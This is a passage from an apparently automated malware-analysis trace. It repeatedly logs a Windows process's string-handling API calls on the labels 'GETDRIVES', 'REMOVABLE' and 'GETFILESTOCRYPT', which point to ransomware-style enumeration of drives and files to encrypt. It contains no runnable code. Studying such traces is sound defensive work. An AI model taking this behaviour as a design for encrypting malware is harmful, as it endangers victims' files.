CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.274] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.275] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.275] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.275] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.275] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.275] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.275] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.275] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.275] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.276] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.276] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.277] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.277] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.277] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.277] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.277] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.277] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.277] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.277] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.277] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.277] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.277] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.277] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.279] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.279] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.279] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.279] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.279] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.279] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.280] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.280] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.280] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.280] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.280] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.280] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.281] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.281] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.281] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.281] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.281] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.281] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.281] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.281] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.281] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.281] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.281] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.281] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.282] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.282] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.282] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.282] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.282] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.283] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.283] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.283] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.283] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.284] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.284] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.284] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.284] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.284] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.284] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.284] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.284] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.284] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.284] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.284] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.284] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.284] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.285] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.285] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.285] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.285] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.285] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.285] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.285] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.285] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.285] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.285] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.285] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.285] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.285] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.285] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.285] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.287] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.287] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.287] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.287] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.288] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.288] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.288] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.288] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.288] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.288] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.288] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.288] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.289] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.289] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.290] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.290] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.290] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.290] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.291] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.291] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.291] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.291] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.291] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.291] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.291] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.291] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.291] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.292] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.293] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.293] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.293] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.293] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.293] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.293] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.293] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.293] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.294] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.294] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.294] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.294] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.294] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.294] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.294] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.294] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.294] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.295] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.295] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.295] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.295] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.295] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.295] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.295] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.295] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.295] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.295] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.296] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.296] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.296] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.296] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.296] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.296] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.296] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.296] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.296] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.296] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.296] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.297] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.297] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.297] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.297] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.297] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.297] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.297] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.297] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.297] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.297] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.297] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.297] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.298] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.298] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.298] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.298] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.298] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.298] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.298] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.298] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.298] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.298] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.298] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.298] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.299] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.299] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.299] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.299] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.299] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.299] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.299] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.299] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.299] 